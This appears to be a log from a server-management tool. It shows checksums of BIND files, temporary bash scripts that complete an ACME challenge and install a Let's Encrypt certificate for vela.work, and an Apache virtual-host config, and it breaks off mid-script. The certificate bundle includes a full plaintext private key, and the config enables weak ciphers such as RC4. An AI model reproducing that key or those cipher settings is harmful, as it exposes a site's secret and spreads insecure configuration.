MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 12:01:15: Establishing a connection
2026-03-14 12:01:15: Establishing a connection
2026-03-14 12:01:15: 

PUT: /tmp/pkp353705

#!/bin/bash
if [ -d "/var/www/vela_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-14 12:01:15: 

chmod 755 /tmp/pkp353705; /tmp/pkp353705; rm /tmp/pkp353705

2026-03-14 12:01:15: 


1


2026-03-14 12:01:16: Establishing a connection
2026-03-14 12:01:16: 

PUT: /tmp/pkp716483

#!/bin/bash
mkdir -p "/var/www/vela_www/.well-known/acme-challenge/"
cd "/var/www/vela_www/.well-known/acme-challenge/"
cat > UIO3BYKGR8OWXhw8XtYHvhxHyVcEw9qj5Ggopd0yJOM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UIO3BYKGR8OWXhw8XtYHvhxHyVcEw9qj5Ggopd0yJOM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UIO3BYKGR8OWXhw8XtYHvhxHyVcEw9qj5Ggopd0yJOM


2026-03-14 12:01:17: 

chmod 755 /tmp/pkp716483; /tmp/pkp716483; rm /tmp/pkp716483

2026-03-14 12:01:17: 




2026-03-14 12:01:20: Establishing a connection
2026-03-14 12:01:20: 

PUT: /tmp/pkp680376

#!/bin/bash
mkdir -p "/var/www/vela_www/.well-known/acme-challenge/"
cd "/var/www/vela_www/.well-known/acme-challenge/"
rm UIO3BYKGR8OWXhw8XtYHvhxHyVcEw9qj5Ggopd0yJOM


2026-03-14 12:01:20: 

chmod 755 /tmp/pkp680376; /tmp/pkp680376; rm /tmp/pkp680376

2026-03-14 12:01:20: 




2026-03-14 12:01:20: Establishing a connection
2026-03-14 12:01:20: 

PUT: /tmp/pkp649212

#!/bin/bash
temp_file=$(mktemp)
TARGET=56a76e69b767db598a27d260cea98579.crt

cat > $temp_file <<'endmsg'
98:f7:d0:91:ef:94:6d:4c:b3:cd:21:4d:cb:68:6a:57

-----BEGIN CERTIFICATE-----
MIIE5DCCA8ygAwIBAgISBZJVw0YVtRRu0n0GfFnwG0ReMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzE0MTEwMjQ5WhcNMjYwNjEyMTEwMjQ4WjAUMRIwEAYDVQQD
Ewl2ZWxhLndvcmswggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCokX4U
aZAeq02jf9/Whn70KpIiede4oiCZrt62+dLaR96PDApPu7GppSJye5wB9KPOq0EQ
hAlXdBKgp2+yvWrIAhMzfH5zN2lUcfXhVu0UqjkO7z0aHi9rM8bzMsGs3wEYt/5z
nB/9Dw9oezAnE8tZcYu9GNkxLKWrSgdpRHGlm5EzJfTqN6SoWkiuQ28FjJbjJQqd
dXV0jF+Y8tXOy5x2hH+K3NIzyTFYadneUJ1G5aRS3+IpHJ2BQNdM6uX1n3NlFQJL
1zy28JWdVuiDVER8vgayThkSiRHvVy3q/h4d+XXXia4v3ak61isKOrVbT6jYKAOS
t8If8Oa3IVAXodVZAgMBAAGjggIPMIICCzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUwkwGshc9eoea
xljrPl/WHUBEY90wHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3Jn
LzAUBgNVHREEDTALggl2ZWxhLndvcmswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy85NS5jcmwwggEE
BgorBgEEAdZ5AgQCBIH1BIHyAPAAdgBJnJtp3h187Pw23s2HZKa4W68Kh4AZ0VVS
++nrKd34wwAAAZzsOO6IAAAEAwBHMEUCIBpebcOst86MlDJUdeTi/QSgdZnP+iXU
ht1GGFY86DUAAiEAuU+TW+Qw6fL6jMj9gI2HLgUXefobr3v6A3HucYZMnuwAdgAO
V5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZzsOO5/AAAEAwBHMEUC
IQCAV5xuy0PD/0doKToNO7dyfYBkEQryGrezb6OOCwnuZwIgDXsPnLLQjxjyKGRU
Auj53c1nApqi0PGz62bjM2eODWswDQYJKoZIhvcNAQELBQADggEBAG+yYqLEhvWc
PjucQAzefVUg3Fjxq8X3K12ry5h5MXwHXavU3sQiGb4IsqO+KcjVYEkBLzwEHBzb
6a5pUSf4VNF+tgpSSgn+SbD6+o/8v4FgMgAzf0puyqwDiFzk61CLAh4H250UBMUv
ho/N7m3ZTj5fPj2b/H/8u8cNra1cU00llWlgZg3ATJkCyWXtgC4DCZptylhTLN2u
X9Xjo0pYdVsxjx51zlhV6e7W7fbKILrtY7P4by5FrkEWX1a6ZlR/VbqQ5WF7QWkJ
zPOUWlznyX9XVNDShNYRt1IuM1d2sFB1TMRF7pq8rxf2zbn93ApM1HkFiSpKjK/N
KI6CKBKkwbE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEugIBADANBgkqhkiG9w0BAQEFAASCBKQwggSgAgEAAoIBAQCokX4UaZAeq02j
f9/Whn70KpIiede4oiCZrt62+dLaR96PDApPu7GppSJye5wB9KPOq0EQhAlXdBKg
p2+yvWrIAhMzfH5zN2lUcfXhVu0UqjkO7z0aHi9rM8bzMsGs3wEYt/5znB/9Dw9o
ezAnE8tZcYu9GNkxLKWrSgdpRHGlm5EzJfTqN6SoWkiuQ28FjJbjJQqddXV0jF+Y
8tXOy5x2hH+K3NIzyTFYadneUJ1G5aRS3+IpHJ2BQNdM6uX1n3NlFQJL1zy28JWd
VuiDVER8vgayThkSiRHvVy3q/h4d+XXXia4v3ak61isKOrVbT6jYKAOSt8If8Oa3
IVAXodVZAgMBAAECgf8UE9nUzArLNfW2LDG63aO9IDtUdTuHIj/dp8mfKASEKike
bWxvH5A/AD9tTgM3/K2freyLmfs2D2OXh40VPyDMAtmowdgSGImf8gx/yFibCk14
98XRdo932ZLr8WYb0QUFv+SIXFaMpRpMcz2gevjy0pnHmOesCzRBY7QkrRnClQi/
snSi+CTlTGv+bTVg44aGctbORI8AA0ypc1St7c1s3ESJ8I4B0dWJPUbf8TvFiiZB
AL0DlPBXqz67dij4XEipRrLfY8pFbQ1PWj0iz4MnXu+R88h11VXy9wltsRCNyLA5
iU4vdJxTaXQHonmWhsw9MMe3piKVIAAAHdHd79ECgYEA1aac8gBt3XAhTwwqOIIb
u33hJKLdP2eKuKzkcTMtFpwrPXH/nccPEDF5I2FQu/vJLbqjDG7xKYWziyx2S8fT
mnz4+VGDenFvn9RA3W3lRpBv/zNoftIiFV4GEwnihiGh28JBfYsD1sFH/Os8R4Jt
8fo5OpFggStRPFicPUAWqBECgYEAyfs8gMa8k6tyIPKALkj5LzxX/4yxRy6eck95
2YwTYD9E9SR8bZzeKjL8o1bZDOdtcfYKYrQxlg/GxezEJX3fizQlm0ikz4rX3wZo
QwMbm8g0Xpt468tsjBKI/CZX5AFAXnhshzevP0lM3oA0wFrc754DVW1mw9/mRDef
ABc54MkCgYBkMI7W2aaruiKUnCLMfw8cPGqxMILKcfbWpZU3FIWnXbLVTLlPNwL0
WA7zrXYbwXZVMHm3oesLyrwonsAWx22Ou95RpI0ghUOQUwvcCuYC0kcDCQuOtWHw
XThCA1esCOeLU6w8gE1bjyYAEBwjeKGwYOQnd/cme7bLss4J1x0I0QKBgBUUm6P1
Gglvg2Hc7XPnOdqsOaL6VCZRv0e+88C41ezdrZzIShRGowlUePmzPsQSA2I5g6v5
kpNO4jgWFgKzuHkW4DXsxwbCPvWP/aHA2UjRBGY7Y8t4V8Pmy1VFyzaIyucROoKC
VVANnnA6gUbyNMztePuZh3g6DhZgl7+yrN/BAoGAUp8TadQfhN9GdPFXz+nO09Jf
sE7omFj/bChKth8MA16vEHUNmAm0uz43Ao8vTZu0HpElaLX/C26ZG4laCVbhGFqG
AQSSp/l2/99z6L7djDd8FcKwhtEUMyBCoYlg8qTUmYq5KFLCGHNy0FwKHn9+s0cg
rtzls/JcmR3D+vWc9Pw=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-03-14 12:01:20: 

chmod 755 /tmp/pkp649212; /tmp/pkp649212; rm /tmp/pkp649212

2026-03-14 12:01:21: 


dir=/etc/ssl/certs


2026-03-14 12:01:21: 

PUT: /tmp/pkp331887

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/vela_www_work.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-03-14 12:01:21: 

chmod 755 /tmp/pkp331887; /tmp/pkp331887; rm /tmp/pkp331887

2026-03-14 12:01:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vela_www_work.conf 37

<VirtualHost *:80>
    ServerName	vela.work
#    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/vela/www_access.log combined
    ErrorLog	/var/log/apache2/vela/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	vela.work
#    ServerAlias	www.vela.work
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/56a76e69b767db598a27d260cea98579.crt
    DocumentRoot	/var/www/vela_www/public
    <Directory /var/www/vela_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/vela/www_secure_access.log combined
    ErrorLog	/var/log/apache2/vela/www_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2026-03-14 12:01:21: 

PUT: /tmp/pkp798310

#!/bin/bash
temp_file=$(mktemp)
